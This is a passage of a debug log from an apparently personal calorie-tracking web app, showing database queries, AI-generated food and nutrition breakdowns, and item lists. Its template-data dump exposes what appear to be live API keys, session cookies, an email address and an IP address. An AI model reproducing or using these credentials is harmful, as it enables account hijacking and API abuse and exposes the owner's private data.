    intake_date: 2025-12-14T18:30:00.000Z,
    total_consumed: '2521',
    surplus_or_deficit: '-121',
    status_flag: 0
  },
  {
    intake_date: 2025-12-15T18:30:00.000Z,
    total_consumed: '2030',
    surplus_or_deficit: '370',
    status_flag: 1
  },
  {
    intake_date: 2025-12-16T18:30:00.000Z,
    total_consumed: '2088',
    surplus_or_deficit: '312',
    status_flag: 1
  },
  {
    intake_date: 2025-12-17T18:30:00.000Z,
    total_consumed: '1668',
    surplus_or_deficit: '732',
    status_flag: 2
  },
  {
    intake_date: 2025-12-18T18:30:00.000Z,
    total_consumed: '2115',
    surplus_or_deficit: '285',
    status_flag: 1
  },
  {
    intake_date: 2025-12-19T18:30:00.000Z,
    total_consumed: '1575',
    surplus_or_deficit: '825',
    status_flag: 2
  },
  {
    intake_date: 2025-12-20T18:30:00.000Z,
    total_consumed: '972',
    surplus_or_deficit: '1428',
    status_flag: 2
  },
  {
    intake_date: 2025-12-21T18:30:00.000Z,
    total_consumed: '1325',
    surplus_or_deficit: '1075',
    status_flag: 2
  },
  {
    intake_date: 2025-12-22T18:30:00.000Z,
    total_consumed: '1052',
    surplus_or_deficit: '1348',
    status_flag: 2
  },
  {
    intake_date: 2025-12-23T18:30:00.000Z,
    total_consumed: '2400',
    surplus_or_deficit: '0',
    status_flag: 1
  },
  {
    intake_date: 2025-12-24T18:30:00.000Z,
    total_consumed: '1121',
    surplus_or_deficit: '1279',
    status_flag: 2
  }
]
2025-12-25T10:45:15.217Z server-connect:app Executing action step single
2025-12-25T10:45:15.217Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'health_weight_trackor' },
    joins: [],
    orders: [ [Object] ],
    query: 'select `weight`, `date` from `health_weight_trackor` order by `created_on` DESC'
  }
}
2025-12-25T10:45:15.218Z server-connect:output current_weight: { weight: '69.60', date: '2025-12-24T18:30:00.000Z' }
2025-12-25T10:45:15.801Z server-connect:app Executing action step identify
2025-12-25T10:45:15.802Z server-connect:app options: { provider: 'security' }
2025-12-25T10:45:15.802Z server-connect:output identity: 1
2025-12-25T10:45:25.599Z server-connect:router Serving serverConnect /api/gemini/calculate-calorie
2025-12-25T10:45:25.599Z server-connect:app Executing action step identify
2025-12-25T10:45:25.599Z server-connect:app options: { provider: 'security' }
2025-12-25T10:45:25.599Z server-connect:output identity: 1
2025-12-25T10:45:25.599Z server-connect:app Executing action step restrict
2025-12-25T10:45:25.599Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-25T10:45:25.600Z server-connect:output restrict: undefined
2025-12-25T10:45:25.600Z server-connect:app Executing action step processWithGemini
2025-12-25T10:45:25.600Z server-connect:app options: { request_type: 'calories', raw_text: '{{$_POST.calorie_query}}' }
2025-12-25T10:45:28.039Z server-connect:output calculate_calorie: {
  items: [
    {
      food_name: 'Milk',
      quantity: '1 cup (240 ml)',
      calories_consumed: 150,
      total_calories: 150,
      protein: 8,
      carbs: 12,
      fat: 8,
      unit: 'g',
      lower_calorie_alternatives: [Array],
      skip_level: 1,
      skip_reason: 'Good source of protein and calcium for muscle development. Opt for low-fat or skim milk to reduce fat intake if desired.'
    },
    {
      food_name: 'Sugar',
      quantity: '1 teaspoon (4g)',
      calories_consumed: 16,
      total_calories: 16,
      protein: 0,
      carbs: 4,
      fat: 0,
      unit: 'g',
      lower_calorie_alternatives: [Array],
      skip_level: 3,
      skip_reason: 'Provides empty calories with no nutritional benefit. For muscle development, focus on nutrient-dense foods. Reducing sugar intake is generally beneficial for overall health.'
    },
    {
      food_name: 'Tea',
      quantity: '1 cup (240 ml)',
      calories_consumed: 2,
      total_calories: 2,
      protein: 0,
      carbs: 0.5,
      fat: 0,
      unit: 'g',
      lower_calorie_alternatives: [Array],
      skip_level: 1,
      skip_reason: "Generally very low in calories and can be hydrating. If consumed without milk and sugar, it's a good beverage choice."
    }
  ],
  total_macros: {
    total_calories: 168,
    total_protein: 8,
    total_carbs: 16.5,
    total_fat: 8,
    unit: 'g'
  }
}
2025-12-25T10:45:32.038Z server-connect:router Serving serverConnect /api/health/manage-calories
2025-12-25T10:45:32.039Z server-connect:app Executing action step identify
2025-12-25T10:45:32.039Z server-connect:app options: { provider: 'security' }
2025-12-25T10:45:32.039Z server-connect:output identity: 1
2025-12-25T10:45:32.039Z server-connect:app Executing action step restrict
2025-12-25T10:45:32.039Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-25T10:45:32.040Z server-connect:output restrict: undefined
2025-12-25T10:45:32.040Z server-connect:app Executing action step condition
2025-12-25T10:45:32.040Z server-connect:app options: {
  if: '{{$_POST.items.length}}',
  then: {
    steps: {
      name: 'repeat',
      module: 'core',
      action: 'repeat',
      options: [Object],
      output: true,
      meta: [Array],
      outputType: 'array'
    }
  }
}
2025-12-25T10:45:32.040Z server-connect:app Executing action step repeat
2025-12-25T10:45:32.040Z server-connect:app options: {
  repeat: '{{$_POST.items}}',
  outputFields: [],
  exec: {
    steps: {
      name: 'calories',
      module: 'dbupdater',
      action: 'insert',
      options: [Object],
      meta: [Array]
    }
  }
}
2025-12-25T10:45:32.040Z server-connect:app Executing action step insert
2025-12-25T10:45:32.040Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    table: 'calories_tracking',
    returning: 'id',
    query: 'insert into `calories_tracking` (`calories`, `carbs_gm`, `created_at`, `fat_gm`, `intake_date`, `item_name`, `protein_gm`, `quantity`, `replacements`, `skip_level`, `skip_reason`) values (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)',
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ]
  }
}
2025-12-25T10:45:32.041Z server-connect:output calories: { affected: 1, identity: 521 }
2025-12-25T10:45:32.041Z server-connect:app Executing action step insert
2025-12-25T10:45:32.041Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    table: 'calories_tracking',
    returning: 'id',
    query: 'insert into `calories_tracking` (`calories`, `carbs_gm`, `created_at`, `fat_gm`, `intake_date`, `item_name`, `protein_gm`, `quantity`, `replacements`, `skip_level`, `skip_reason`) values (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)',
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ]
  }
}
2025-12-25T10:45:32.042Z server-connect:output calories: { affected: 1, identity: 522 }
2025-12-25T10:45:32.042Z server-connect:app Executing action step insert
2025-12-25T10:45:32.042Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    table: 'calories_tracking',
    returning: 'id',
    query: 'insert into `calories_tracking` (`calories`, `carbs_gm`, `created_at`, `fat_gm`, `intake_date`, `item_name`, `protein_gm`, `quantity`, `replacements`, `skip_level`, `skip_reason`) values (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)',
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ]
  }
}
2025-12-25T10:45:32.043Z server-connect:output calories: { affected: 1, identity: 523 }
2025-12-25T10:45:32.043Z server-connect:output repeat: [ {}, {}, {} ]
2025-12-25T10:45:32.043Z server-connect:output condition: undefined
2025-12-25T10:45:32.258Z server-connect:router Serving templateView /calorie-tracker
2025-12-25T10:45:32.259Z server-connect:app Executing action step identify
2025-12-25T10:45:32.259Z server-connect:app options: { provider: 'security' }
2025-12-25T10:45:32.259Z server-connect:output identity: 1
2025-12-25T10:45:32.259Z server-connect:app Executing action step restrict
2025-12-25T10:45:32.259Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-25T10:45:32.260Z server-connect:output restrict: undefined
2025-12-25T10:45:32.260Z server-connect:router Render template layouts/main
2025-12-25T10:45:32.260Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'cache-control': 'max-age=0',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"macOS"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    referer: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"1505c-6XZ48wk/QlRgtGeezmrNALUh0rI"',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3AkCjdy2If%2FLJafLa7AJWQVA%3D%3D.qYiwhE5OqZ1fe15blFPhoA4ANFhgHGY5ClUP6HcdxUBz%2B6x5uOxo4Z4gNw%2F9J7eeRv0XAR0EPzYuxyZEmxgcHi4Bdrexgk%2Fj1NeBadXhw7dqDa2GMrjAEb64LCpnUNRwqlE%2BNiJhzulvFO4KnP4lL%2BRRUZOoc9Ulf4SZANR1uKw%3D.B1GkIAiHLM%2BTIbxgVpHrZLz4NhSWASiNncOrGtutcxo; your_r_git.sid=s%3ArKUT04F4OZFLu8E9Os3_iZmtNUrI0Cvj.koyUcTD06qPCcgwPUJjWTQP3hQ%2BlDTcghx2m822vzRM',
    'x-forwarded-for': '49.43.180.83',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-26T10:45:12.161Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/calorie-tracker',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.180.83',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/calorie-tracker',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"macOS"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"1505c-6XZ48wk/QlRgtGeezmrNALUh0rI"',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3AkCjdy2If%2FLJafLa7AJWQVA%3D%3D.qYiwhE5OqZ1fe15blFPhoA4ANFhgHGY5ClUP6HcdxUBz%2B6x5uOxo4Z4gNw%2F9J7eeRv0XAR0EPzYuxyZEmxgcHi4Bdrexgk%2Fj1NeBadXhw7dqDa2GMrjAEb64LCpnUNRwqlE%2BNiJhzulvFO4KnP4lL%2BRRUZOoc9Ulf4SZANR1uKw%3D.B1GkIAiHLM%2BTIbxgVpHrZLz4NhSWASiNncOrGtutcxo; your_r_git.sid=s%3ArKUT04F4OZFLu8E9Os3_iZmtNUrI0Cvj.koyUcTD06qPCcgwPUJjWTQP3hQ%2BlDTcghx2m822vzRM',
    'HTTP_X_FORWARDED-FOR': '49.43.180.83',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/calorie-tracker'
}
2025-12-25T10:45:32.468Z server-connect:app Executing action step identify
2025-12-25T10:45:32.468Z server-connect:app options: { provider: 'security' }
2025-12-25T10:45:32.468Z server-connect:output identity: 1
2025-12-25T10:45:32.811Z server-connect:router Serving serverConnect /api/masters/get-items
2025-12-25T10:45:32.813Z server-connect:router Serving serverConnect /api/access-control/user-info
2025-12-25T10:45:32.813Z server-connect:router Serving serverConnect /api/health/todays-calories
2025-12-25T10:45:32.814Z server-connect:router Serving serverConnect /api/gemini/get-health-summary
2025-12-25T10:45:32.814Z server-connect:app Executing action step identify
2025-12-25T10:45:32.814Z server-connect:app options: { provider: 'security' }
2025-12-25T10:45:32.814Z server-connect:output identity: 1
2025-12-25T10:45:32.814Z server-connect:app Executing action step restrict
2025-12-25T10:45:32.814Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-25T10:45:32.814Z server-connect:app Executing action step identify
2025-12-25T10:45:32.814Z server-connect:app options: { provider: 'security' }
2025-12-25T10:45:32.814Z server-connect:output identity: 1
2025-12-25T10:45:32.814Z server-connect:app Executing action step restrict
2025-12-25T10:45:32.814Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-25T10:45:32.815Z server-connect:app Executing action step identify
2025-12-25T10:45:32.815Z server-connect:app options: { provider: 'security' }
2025-12-25T10:45:32.815Z server-connect:output identity: 1
2025-12-25T10:45:32.815Z server-connect:app Executing action step restrict
2025-12-25T10:45:32.815Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-25T10:45:32.816Z server-connect:output restrict: undefined
2025-12-25T10:45:32.816Z server-connect:app Executing action step select
2025-12-25T10:45:32.816Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2025-12-25T10:45:32.816Z server-connect:app Executing action step identify
2025-12-25T10:45:32.816Z server-connect:app options: { provider: 'security' }
2025-12-25T10:45:32.816Z server-connect:output identity: 1
2025-12-25T10:45:32.816Z server-connect:app Executing action step restrict
2025-12-25T10:45:32.816Z server-connect:app options: { provider: 'security' }
2025-12-25T10:45:32.816Z server-connect:output restrict: undefined
2025-12-25T10:45:32.817Z server-connect:app Executing action step single
2025-12-25T10:45:32.817Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'health_summary' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `summary`, `date` from `health_summary` where `health_summary`.`date` = ?'
  }
}
2025-12-25T10:45:32.818Z server-connect:output restrict: undefined
2025-12-25T10:45:32.818Z server-connect:app Executing action step single
2025-12-25T10:45:32.818Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2025-12-25T10:45:32.818Z server-connect:output restrict: undefined
2025-12-25T10:45:32.818Z server-connect:app Executing action step single
2025-12-25T10:45:32.818Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object] ],
    table: { name: 'calories_requirement' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `start_date`, `end_date`, `maintenance_calories`, `weight_kg`, `target_calories` from `calories_requirement` where `calories_requirement`.`start_date` <= ? and `calories_requirement`.`end_date` >= ?'
  }
}
2025-12-25T10:45:32.819Z server-connect:output summary: {
  summary: {
    rating: 7,
    summary: "The day's nutrition shows a decent intake of protein, particularly from the whey supplement, which supports muscle development. The meals are balanced with carbohydrates and vegetables, contributing to overall energy and nutrient needs. Meal timing appears to be spread throughout the day, which is generally beneficial for consistent energy levels and recovery.",
    bad_points: [
      'Potential for higher carbohydrate intake from multiple rotis.',
      'Limited variety in protein sources beyond the whey supplement.',
      'Some meals could benefit from more diverse vegetable types.'
    ],
    good_points: [
      'Adequate protein intake from whey supplement to support muscle development.',
      'Inclusion of vegetables in meals for micronutrients and fiber.',
      'Whey protein consumed post-workout likely aids recovery.',
      'Meals are spaced throughout the day, supporting consistent energy.'
    ],
    suggestions: [
      'Consider incorporating more diverse protein sources like lean meats, fish, or legumes into main meals.',
      'Ensure adequate hydration throughout the day.',
      'Explore adding a small portion of healthy fats to meals for satiety and nutrient absorption.',
      'Vary vegetable choices to ensure a broader spectrum of vitamins and minerals.'
    ],
    predicted_weight: 69.5,
    rating_judgement: 'Good effort',
    predicted_weight_trend: 'Slight downward trend'
  },
  date: '2025-12-24T18:30:00.000Z'
}
2025-12-25T10:45:32.821Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2025-12-25T10:45:32.822Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2025-12-25T10:45:32.824Z server-connect:output requirements: {
  id: 3,
  start_date: '2025-11-09T18:30:00.000Z',
  end_date: '2025-12-29T18:30:00.000Z',
  maintenance_calories: 2400,
  weight_kg: '71.00',
  target_calories: 1800
}
2025-12-25T10:45:32.824Z server-connect:app Executing action step select
2025-12-25T10:45:32.824Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [],
    params: [ [Object] ],
    table: { name: 'calories_tracking' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select * from `calories_tracking` where `calories_tracking`.`intake_date` = ? order by `id` ASC',
    orders: [ [Object] ]
  }
}
2025-12-25T10:45:32.825Z server-connect:output item_list: [
  {
    id: 512,
    intake_date: '2025-12-24T18:30:00.000Z',
    item_name: 'Guava',
    calories: 76,
    protein_gm: 1,
    carbs_gm: 8,
    fat_gm: 1,
    quantity: '2 slices',
    replacements: 'Cucumber slices,Celery sticks,Watermelon (in moderation)',
    created_at: '2025-12-24T22:38:30.000Z',
    skip_level: 1,
    skip_reason: ''
  },
  {
    id: 513,
    intake_date: '2025-12-24T18:30:00.000Z',
    item_name: 'Pre-workout',
    calories: 10,
    protein_gm: 0,
    carbs_gm: 2,
    fat_gm: 0,
    quantity: '1 scoop',
    replacements: 'Black coffee,Green tea',
    created_at: '2025-12-24T22:38:30.000Z',
    skip_level: 1,
    skip_reason: ''
  },
  {
    id: 514,
